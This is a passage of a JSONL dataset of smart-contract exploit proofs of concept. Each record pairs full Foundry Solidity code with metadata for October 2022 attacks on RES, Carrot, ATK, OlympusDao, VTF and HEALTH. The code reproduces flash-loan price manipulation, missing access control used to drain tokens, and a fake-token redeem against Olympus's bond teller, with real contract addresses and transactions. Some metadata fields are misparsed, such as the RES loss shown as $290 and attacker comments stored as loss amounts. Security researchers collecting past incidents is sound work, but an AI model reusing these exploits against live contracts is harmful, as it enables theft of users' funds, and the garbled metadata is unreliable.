{\n console.log(\"error\");\n }\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "RES", "date": "2022-10", "file_name": "RES_exp.sol", "attack_vector": "flash_loan", "content_hash": "47d3a9d6be9df03e", "collected_at": "2026-01-07T10:59:16.516703", "_source": "postmortems", "chain": "bsc", "block_number": 21948016, "total_lost_raw": "290,671 USDT", "total_lost_usd": 290.0, "attacker_address": null, "attack_contract": "https://bscscan.com/address/0xFf333DE02129AF88aAe101ab777d3f5D709FeC6f", "vulnerable_contract": "https://bscscan.com/address/0xeccd8b08ac3b587b7175d40fb9c60a20990f8d21", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "290,671 USDT", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker USDT balance before exploit\", USDT_TOKEN.balanceOf(address(this)), 18\n );\n\n USDT_WBNB_PAIR.swap(10_014_120_886_666_860_414_836_616, 0, address(this), \"borrowusdt\");\n\n emit log_named_decimal_uint(\n \"[End] Attacker USDT balance after exploit\", USDT_TOKEN.balanceOf(address(this)), 18\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "290,671 USDT", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://bscscan.com/address/0xFf333DE02129AF88aAe101ab777d3f5D709FeC6f", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xeccd8b08ac3b587b7175d40fb9c60a20990f8d21", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$290", "content_richness_score": 9, "quality_estimate": "high", "title": "RES Exploit (2022-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost :\n// Attacker : 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c\n// Attack Contract : https://bscscan.com/address/0x5575406ef6b15eec1986c412b9fbe144522c45ae\n// Vulnerable Contract : https://bscscan.com/address/0xcFF086EaD392CcB39C49eCda8C974ad5238452aC\n// Attack Tx : https://bscscan.com/tx/0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xcFF086EaD392CcB39C49eCda8C974ad5238452aC#code#L1406\n\n// @Analysis\n// Twitter BlockSec : https://twitter.com/BlockSecTeam/status/1579908411235237888\n// Twitter 1nf0s3cpt (SunWeb3Sec) : https://twitter.com/1nf0s3cpt/status/1580116116151889920\n// Article (in Chinese) : https://cloud.tencent.com/developer/article/2152960\n\n/*\nCarrot Token was exploited on 2022-10-10 12:53:41 (UTC) on Binance Smart Chain Mainnet. \nA total of $31,318 BUSDT was lost.\n\nPool address: 0x6863b549bf730863157318df4496ed111adfa64f\n\nThe Carrot token relays on '_allowances[sender][_msgSender()].sub(amount, \"ERC20: transfer amount exceeds allowance\")'\nto prevent unapproved token transfers, it follows an ACTION-CHECK pattern where the tokens are sent without check and \nthe sub() function on the _allowances mapping verifies that the sender did had the permissions to move the tokens.\n \nThis final check can be avoided if the _msgSender() on the _isExcludedFromFee mapping is set to true, \ngiving the _msgSender() the ability to move any user's tokens at its will. \n\nfunction transferFrom(\n address sender,\n address recipient,\n uint256 amount\n) public virtual override returns (bool) {\n _beforeTransfer(_msgSender(),recipient,amount);\n \n if(_isExcludedFromFee[_msgSender()]){\n _transfer(sender, recipient, amount);\n return true;\n }\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n}\n\nThe only way to add an address to the _isExcludedFromFee mapping is if the owner of an external \ncontract \"Pool\" is the caller of a transfer and the counter variable is set to 0. This variable \nwould act as a safety measure to stop anyone else from adding their address after the exploiter has done it.\n\nfunction _beforeTransfer( address from,address to,uint256 amount) private{\n if(from.isContract())\n if(ownership(pool).owner() == from && counter ==0){\n _isExcludedFromFee[from] = true;\n counter++;\n } \n _beforeTokenTransfer(from, to, amount);\n}\n\nThe Pool address is set via the onlyOwner initPool() function on the token.\n\nfunction initPool(address _Pool) public onlyOwner {\n require(pool == address(0));\n pool = _Pool;\n}\n\nFinally, to set the owner of the pool contract the transReward() on the token is called with the change owner\nfunction selector \"0xbf699b4b\" and the address desired, in the attack this would be \"0x5575406ef6b15eec1986c412b9fbe144522c45ae\".\n\nRoot cause: Insufficient access control to the migrateStake function.\n\nOriginal PoC by: SunWeb3Sec \nExplanation by: Kayaba-Attribution\n*/\n\ninterface ICarrot is IERC20 {\n function transReward(\n bytes memory data\n ) external;\n}\n\ncontract ContractTest is Test {\n Uni_Router_V2 constant PS_ROUTER = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n ICarrot constant CARROT_TOKEN = ICarrot(0xcFF086EaD392CcB39C49eCda8C974ad5238452aC);\n IERC20 constant BUSDT_TOKEN = IERC20(0x55d398326f99059fF775485246999027B3197955); // Binance USDT\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 22_055_611);\n // Adding labels to improve stack traces' readability\n vm.label(address(PS_ROUTER), \"PS_ROUTER\");\n vm.label(address(CARROT_TOKEN), \"CARROT_TOKEN\");\n vm.label(address(BUSDT_TOKEN), \"BUSDT_TOKEN\");\n vm.label(address(0xF34c9a6AaAc94022f96D4589B73d498491f817FA), \"CARROT_BUSDT_PAIR\");\n vm.label(address(0x6863b549bf730863157318df4496eD111aDFA64f), \"Pool\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker BUSDT balance before exploit\", BUSDT_TOKEN.balanceOf(address(this)), 18\n );\n\n // Call vulnerable transReward() to set this contract as owner. No auth control\n CARROT_TOKEN.transReward(abi.encodeWithSelector(0xbf699b4b, address(this)));\n\n // Empty transferFrom() called during the exploit. Apparently not needed.\n // CARROT_TOKEN.transferFrom(address(this), address(CARROT_TOKEN), 0);\n\n // Call transferFrom() to steal CARROT tokens using the same amount used in the exploit\n CARROT_TOKEN.transferFrom(\n 0x00B433800970286CF08F34C96cf07f35412F1161, address(this), 310_344_736_073_087_429_864_760\n );\n\n // Swap all stolen Carrot to BUSDT\n _CARROTToBUSDT();\n\n emit log_named_decimal_uint(\n \"[End] Attacker BUSDT balance after exploit\", BUSDT_TOKEN.balanceOf(address(this)), 18\n );\n }\n\n function migrateWithdraw(\n address,\n uint256 //callback\n ) public {}\n\n /**\n * Auxiliary function to swap all CARROT to BUSDT\n */\n function _CARROTToBUSDT() internal {\n CARROT_TOKEN.approve(address(PS_ROUTER), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(CARROT_TOKEN);\n path[1] = address(BUSDT_TOKEN);\n PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n CARROT_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Carrot", "date": "2022-10", "file_name": "Carrot_exp.sol", "attack_vector": "access_control", "content_hash": "e80c60e08c1ef8d2", "collected_at": "2026-01-07T10:59:16.516776", "_source": "postmortems", "chain": "bsc", "block_number": 22055611, "total_lost_raw": "// Attacker : 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c", "total_lost_usd": 0.0, "attacker_address": null, "attack_contract": "https://bscscan.com/address/0x5575406ef6b15eec1986c412b9fbe144522c45ae", "vulnerable_contract": "https://bscscan.com/address/0xcFF086EaD392CcB39C49eCda8C974ad5238452aC", "attack_tx": "https://bscscan.com/tx/0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "// Attacker : 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c", "category": "access-control", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker BUSDT balance before exploit\", BUSDT_TOKEN.balanceOf(address(this)), 18\n );\n\n // Call vulnerable transReward() to set this contract as owner. No auth control\n CARROT_TOKEN.transReward(abi.encodeWithSelector(0xbf699b4b, address(this)));\n\n // Empty transferFrom() called during the exploit. Apparently not needed.\n // CARROT_TOKEN.transferFrom(address(this), address(CARROT_TOKEN), 0);\n\n // Call transferFrom() to steal CARROT tokens using the same amount used in the exploit\n CARROT_TOKEN.transferFrom(\n 0x00B433800970286CF08F34C96cf07f35412F1161, address(this), 310_344_736_073_087_429_864_760\n );\n\n // Swap all stolen Carrot to BUSDT\n _CARROTToBUSDT();\n\n emit log_named_decimal_uint(\n \"[End] Attacker BUSDT balance after exploit\", BUSDT_TOKEN.balanceOf(address(this)), 18\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "//", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://bscscan.com/address/0x5575406ef6b15eec1986c412b9fbe144522c45ae", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xcFF086EaD392CcB39C49eCda8C974ad5238452aC", "keyinfo_attack_tx": "https://bscscan.com/tx/0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 8.87, "quality_estimate": "high", "title": "Carrot Exploit (2022-10)", "has_total_lost": false, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~127K BUSDT\n// Attacker : 0x3DF6cd58716d22855aFb3B828F82F10708AfbB4f\n// Attack Contract : https://bscscan.com/address/0xd7ba198ce82f4c46ad8f6148ccfdb41866750231\n// Vulnerable Contract : https://bscscan.com/address/0x9cb928bf50ed220ac8f703bce35be5ce7f56c99c\n// Attack related Txs :\n// - https://bscscan.com/tx/0xb181e88e6b37ee9986f2a57aefb94779402fdb928654aa7c1dda5138b90d0e14\n// - https://bscscan.com/tx/0x9e328f77809ea3c01833ec7ed8928edb4f5798c96f302b54fc640a22b3dd1a52\n// - https://bscscan.com/tx/0x55983d8701e40353fee90803688170a16424ee702f6b21bb198bb8e7282112cd\n// - https://bscscan.com/tx/0x601b8ab0c1d51e71796a0df5453ca671ae23de3d5ec9ffd87b9c378504f99c32\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x9cb928bf50ed220ac8f703bce35be5ce7f56c99c#code#L706\n\n// @Analysis\n// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/1580095325200474112\n// Article CertiK : https://www.certik.com/resources/blog/1YsQo8TnxCvwalqvtkFLtC-journey-of-awakening-incident-analysis\n\n// Closed-source contract is designed to deposit and claimReward(), the claim function use getPrice() in ATK token contract\n// Root cause: getPrice() function\n\ncontract ContractTest is Test {\n IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IERC20 constant ATK_TOKEN = IERC20(0x9cB928Bf50ED220aC8f703bce35BE5ce7F56C99c);\n IERC20 constant BUSDT_TOKEN = IERC20(0x55d398326f99059fF775485246999027B3197955);\n Uni_Router_V2 constant PS_ROUTER = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Pair_V2 constant ATK_BUSDT_PAIR = Uni_Pair_V2(0xd228fAee4f73a73fcC73B6d9a1BD25EE1D6ee611);\n address constant EXPLOIT_CONTRACT = 0xD7ba198ce82f4c46AD8F6148CCFDB41866750231;\n address constant EXPLOIT_AUX_CONTRACT = 0x96bF2E6CC029363B57Ffa5984b943f825D333614;\n\n uint256 swapamount;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 22_102_838);\n // Adding labels to improve stack traces' readability\n vm.label(address(WBNB_TOKEN), \"WBNB_TOKEN\");\n vm.label(address(ATK_TOKEN), \"ATK_TOKEN\");\n vm.label(address(BUSDT_TOKEN), \"BUSDT_TOKEN\");\n vm.label(address(PS_ROUTER), \"PS_ROUTER\");\n vm.label(address(ATK_BUSDT_PAIR), \"ATK_BUSDT_PAIR\");\n vm.label(EXPLOIT_CONTRACT, \"EXPLOIT_CONTRACT\");\n vm.label(EXPLOIT_AUX_CONTRACT, \"EXPLOIT_AUX_CONTRACT\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker ATK balance before exploit\", ATK_TOKEN.balanceOf(EXPLOIT_CONTRACT), 18\n );\n\n WBNB_TOKEN.deposit{value: 2 ether}();\n _WBNBToBUSDT();\n\n swapamount = BUSDT_TOKEN.balanceOf(address(ATK_BUSDT_PAIR)) - 3 * 1e18;\n ATK_BUSDT_PAIR.swap(swapamount, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"[End] Attacker ATK balance after exploit\", ATK_TOKEN.balanceOf(EXPLOIT_CONTRACT), 18\n );\n }\n\n /*\n * Callback function called by PancakeSwap during the flashswap\n */\n function pancakeCall(\n address, /*sender*/\n uint256, /*amount0*/\n uint256, /*amount1*/\n bytes calldata /*data*/\n ) public {\n // EXPLOIT_CONTRACT calls `claimToken1()` function\n vm.prank(EXPLOIT_CONTRACT);\n (bool success,) = EXPLOIT_AUX_CONTRACT.call(abi.encodeWithSignature(\"claimToken1()\"));\n require(success, \"Call `claimToken1()` failed\");\n\n // Return the BUSDT to the ATK_BUSDT_PAIR\n BUSDT_TOKEN.transfer(address(ATK_BUSDT_PAIR), swapamount * 10_000 / 9975 + 1000);\n }\n\n /**\n * Auxiliary function to swap all WBNB to BUSDT\n */\n function _WBNBToBUSDT() internal {\n WBNB_TOKEN.approve(address(PS_ROUTER), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(WBNB_TOKEN);\n path[1] = address(BUSDT_TOKEN);\n PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "ATK", "date": "2022-10", "file_name": "ATK_exp.sol", "attack_vector": null, "content_hash": "2b745891194ddf63", "collected_at": "2026-01-07T10:59:16.516843", "_source": "postmortems", "chain": "bsc", "block_number": 22102838, "total_lost_raw": "~127K BUSDT", "total_lost_usd": 127000.0, "attacker_address": null, "attack_contract": "https://bscscan.com/address/0xd7ba198ce82f4c46ad8f6148ccfdb41866750231", "vulnerable_contract": "https://bscscan.com/address/0x9cb928bf50ed220ac8f703bce35be5ce7f56c99c", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~127K BUSDT", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker ATK balance before exploit\", ATK_TOKEN.balanceOf(EXPLOIT_CONTRACT), 18\n );\n\n WBNB_TOKEN.deposit{value: 2 ether}();\n _WBNBToBUSDT();\n\n swapamount = BUSDT_TOKEN.balanceOf(address(ATK_BUSDT_PAIR)) - 3 * 1e18;\n ATK_BUSDT_PAIR.swap(swapamount, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"[End] Attacker ATK balance after exploit\", ATK_TOKEN.balanceOf(EXPLOIT_CONTRACT), 18\n );\n }\n\n /*\n * Callback function called by PancakeSwap during the flashswap\n */", "has_exploit_code": true, "keyinfo_total_lost": "~127K BUSDT", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://bscscan.com/address/0xd7ba198ce82f4c46ad8f6148ccfdb41866750231", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x9cb928bf50ed220ac8f703bce35be5ce7f56c99c", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$127.0K", "content_richness_score": 7.12, "quality_estimate": "medium", "title": "ATK Exploit (2022-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$292K (30,437 OHM)\n// Attacker : 0x443cf223e209e5a2c08114a2501d8f0f9ec7d9be\n// Attack Contract : 0xa29e4fe451ccfa5e7def35188919ad7077a4de8f\n// Vulnerable Contract : 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156\n// Attack Tx : https://etherscan.io/tx/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156#code#F1#L137\n\n// @Analysis\n// Twitter PeckShield : https://twitter.com/peckshield/status/1583416829237526528\n// Article by Shashank : https://blog.solidityscan.com/olympus-dao-hack-analysis-f07d2a64f5ee\n// Article by 0xbanky : https://mirror.xyz/0xbanky.eth/c7G9ZfTB8pzQ5cCMw5UhdFehmR6l0fVqd_B-ZuXz2_o\n\naddress constant OHM = 0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5;\naddress constant BondFixedExpiryTeller = 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156;\n\ninterface IBondFixedExpiryTeller {\n function redeem(address token_, uint256 amount_) external;\n}\n\ncontract FakeToken {\n function underlying() external pure returns (address) {\n return OHM;\n }\n\n function expiry() external pure returns (uint48 _expiry) {\n return 1;\n }\n\n function burn(address, uint256) external pure {\n // do nothing\n }\n}\n\ncontract AttackContract is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 15_794_363);\n vm.label(OHM, \"OHM\");\n vm.label(BondFixedExpiryTeller, \"BondFixedExpiryTeller\");\n }\n\n function testExploit() public {\n console.log(\"---------- Start from block %s ----------\", block.number);\n emit log_named_decimal_uint(\"Attacker OHM balance\", IERC20(OHM).balanceOf(address(this)), 9);\n\n address fakeToken = address(new FakeToken());\n\n uint256 ohmBalance = IERC20(OHM).balanceOf(BondFixedExpiryTeller);\n IBondFixedExpiryTeller(BondFixedExpiryTeller).redeem(fakeToken, ohmBalance);\n console.log(\"Redeeming...\");\n emit log_named_decimal_uint(\"Attacker OHM balance after hack\", IERC20(OHM).balanceOf(address(this)), 9);\n }\n}\n", "type": "exploit_poc", "protocol": "OlympusDao", "date": "2022-10", "file_name": "OlympusDao_exp.sol", "attack_vector": null, "content_hash": "5bac4df343e5f025", "collected_at": "2026-01-07T10:59:16.516893", "_source": "postmortems", "chain": "ethereum", "block_number": 15794363, "total_lost_raw": "~$292K (30,437 OHM)", "total_lost_usd": 292000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~$292K (30,437 OHM)", "category": "unknown", "exploit_code": "function testExploit() public {\n console.log(\"---------- Start from block %s ----------\", block.number);\n emit log_named_decimal_uint(\"Attacker OHM balance\", IERC20(OHM).balanceOf(address(this)), 9);\n\n address fakeToken = address(new FakeToken());\n\n uint256 ohmBalance = IERC20(OHM).balanceOf(BondFixedExpiryTeller);\n IBondFixedExpiryTeller(BondFixedExpiryTeller).redeem(fakeToken, ohmBalance);\n console.log(\"Redeeming...\");\n emit log_named_decimal_uint(\"Attacker OHM balance after hack\", IERC20(OHM).balanceOf(address(this)), 9);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$292K (30,437 OHM)", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$292.0K", "content_richness_score": 6.11, "quality_estimate": "medium", "title": "OlympusDao Exploit (2022-10)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1585575129936977920\n// https://twitter.com/peckshield/status/1585572694241988609\n// https://twitter.com/BeosinAlert/status/1585587030981218305\n// @TX\n// https://bscscan.com/tx/0xeeaf7e9662a7488ea724223c5156e209b630cdc21c961b85868fe45b64d9b086\n// https://bscscan.com/tx/0xc2d2d7164a9d3cfce1e1dac7dc328b350c693feb0a492a6989ceca7104eef9b7\n\ninterface IVTF is IERC20 {\n function updateUserBalance(\n address _user\n ) external;\n}\n\ninterface IROUTER {\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract claimReward {\n IVTF VTF = IVTF(0xc6548caF18e20F88cC437a52B6D388b0D54d830D);\n\n constructor() {\n VTF.updateUserBalance(address(this));\n }\n\n function claim(\n address receiver\n ) external {\n VTF.updateUserBalance(address(this));\n VTF.transfer(receiver, VTF.balanceOf(address(this)));\n }\n}\n\ncontract ContractTest is Test {\n address constant dodo = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;\n IVTF VTF = IVTF(0xc6548caF18e20F88cC437a52B6D388b0D54d830D);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IROUTER Router = IROUTER(0x7529740ECa172707D8edBCcdD2Cba3d140ACBd85);\n address[] public contractList;\n\n CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n // ankr rpc bsc maybe unavailable, please use QuickNode\n function setUp() public {\n cheat.createSelectFork(\"bsc\", 22_535_101);\n }\n\n function testExploit() public {\n contractFactory();\n // change time to pass time check\n cheat.warp(block.timestamp + 2 * 24 * 60 * 60);\n DVM(dodo).flashLoan(0, 100_000 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n USDTToVTF();\n VTF.transfer(contractList[0], VTF.balanceOf(address(this)));\n for (uint256 i = 0; i < contractList.length - 1; ++i) {\n (bool success,) = contractList[i].call(abi.encodeWithSignature(\"claim(address)\", contractList[i + 1]));\n require(success);\n }\n uint256 index = contractList.length - 1;\n (bool success,) = contractList[index].call(abi.encodeWithSignature(\"claim(address)\", address(this)));\n require(success);\n VTFToUSDT();\n USDT.transfer(dodo, 100_000 * 1e18);\n }\n\n function USDTToVTF() internal {\n USDT.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(VTF);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 100_000 * 1e18, 0, path, address(this), block.timestamp\n );\n }\n\n function VTFToUSDT() internal {\n VTF.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(VTF);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n VTF.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function contractFactory() public {\n address _add;\n bytes memory bytecode = type(claimReward).creationCode;\n for (uint256 _salt = 0; _salt < 400; _salt++) {\n assembly {\n _add := create2(0, add(bytecode, 32), mload(bytecode), _salt)\n }\n contractList.push(_add);\n }\n }\n}\n", "type": "exploit_poc", "protocol": "VTF", "date": "2022-10", "file_name": "VTF_exp.sol", "attack_vector": "flash_loan", "content_hash": "406d6da4ec2634e6", "collected_at": "2026-01-07T10:59:16.516933", "_source": "postmortems", "chain": "bsc", "block_number": 22535101, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n contractFactory();\n // change time to pass time check\n cheat.warp(block.timestamp + 2 * 24 * 60 * 60);\n DVM(dodo).flashLoan(0, 100_000 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.96, "quality_estimate": "low", "title": "VTF Exploit (2022-10)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~16.64 BNB\n// Attacker : 0xDE78112FF006f166E4ccfe1dfE4181C9619D3b5D\n// Attack Contract : 0x80e5FC0d72e4814cb52C16A18c2F2B87eF1Ea2d4\n// Vulnerable Contract : 0x32B166e082993Af6598a89397E82e123ca44e74E\n// Attack Tx : https://bscscan.com/tx/0xae8ca9dc8258ae32899fe641985739c3fa53ab1f603973ac74b424e165c66ccf\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x32B166e082993Af6598a89397E82e123ca44e74E#code#L799\n\n// @Analysis\n// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/1583073442433495040\n\ncontract ContractTest is Test {\n IERC20 constant HEALTH_TOKEN = IERC20(0x32B166e082993Af6598a89397E82e123ca44e74E);\n IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n Uni_Pair_V2 constant WBNB_HEALTH_PAIR = Uni_Pair_V2(0xF375709DbdE84D800642168c2e8bA751368e8D32);\n Uni_Router_V2 constant PS_ROUTER = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n address constant DODO_DVM = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 22_337_425);\n // Adding labels to improve stack traces' readability\n vm.label(address(WBNB_TOKEN), \"WBNB\");\n vm.label(address(HEALTH_TOKEN), \"HEALTH\");\n vm.label(address(WBNB_HEALTH_PAIR), \"WBNB_HEALTH_PAIR\");\n vm.label(address(PS_ROUTER), \"PS_ROUTER\");\n vm.label(DODO_DVM, \"DODO_DVM\");\n vm.label(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56, \"BUSD\");\n vm.label(0x64d868F307263f8566172fc42D75Ea03A5690271, \"HEALTH_DEV_ADDRESS\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker WBNB balance before exploit\", WBNB_TOKEN.balanceOf(address(this)), 18\n );\n\n // Approving PancakeSwap router to spend attacker's WBNB and HEALTH\n WBNB_TOKEN.approve(address(PS_ROUTER), type(uint256).max);\n HEALTH_TOKEN.approve(address(PS_ROUTER), type(uint256).max);\n\n // Requesting 40 WBNB via flashloan from DODO DVM. Payload is in the callback (DPPFlashLoanCall).\n DVM(DODO_DVM).flashLoan(40 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"[End] Attacker WBNB balance after exploit\", WBNB_TOKEN.balanceOf(address(this)), 18\n );\n }\n\n /*\n * Callback function called by DODO DVM during the flashloan\n */\n function DPPFlashLoanCall(\n address, /*sender*/\n uint256, /*baseAmount*/\n uint256, /*quoteAmount*/\n bytes calldata /*data*/\n ) external {\n // Swap all WBNB to HEALTH\n _WBNBToHEALTH();\n\n // Actual payload exploiting the vulnerability in `_transfer()` function\n // This will make the `_transfer()` function burn a lot of HEALTH tokens\n // from the pair, so increase its price in relation to WBNB\n for (uint256 i = 0; i < 1000; i++) {\n HEALTH_TOKEN.transfer(address(this), 0);\n }\n\n // Swap all HEALTH to WBNB to repay the flashloan and keep the profit\n _HEALTHToWBNB();\n\n // Returning only the 40 flashloaned WBNB\n WBNB_TOKEN.transfer(DODO_DVM, 40 * 1e18);\n }\n\n /**\n * Auxiliary function to swap all WBNB to HEALTH\n */\n function _WBNBToHEALTH() internal {\n address[] memory path = new address[](2);\n path[0] = address(WBNB_TOKEN);\n path[1] = address(HEALTH_TOKEN);\n PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n /**\n * Auxiliary function to swap all HEALTH to WBNB\n */\n function _HEALTHToWBNB() internal {\n address[] memory path = new address[](2);\n path[0] = address(HEALTH_TOKEN);\n path[1] = address(WBNB_TOKEN);\n PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n HEALTH_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "HEALTH", "date": "2022-10", "file_name": "HEALTH_exp.sol", "attack_vector": "flash_loan", "content_hash": "ffb3077db642dcd8", "collected_at": "2026-01-07T10:59:16.516979", "_source": "postmortems", "chain": "bsc", "block_number": 22337425, 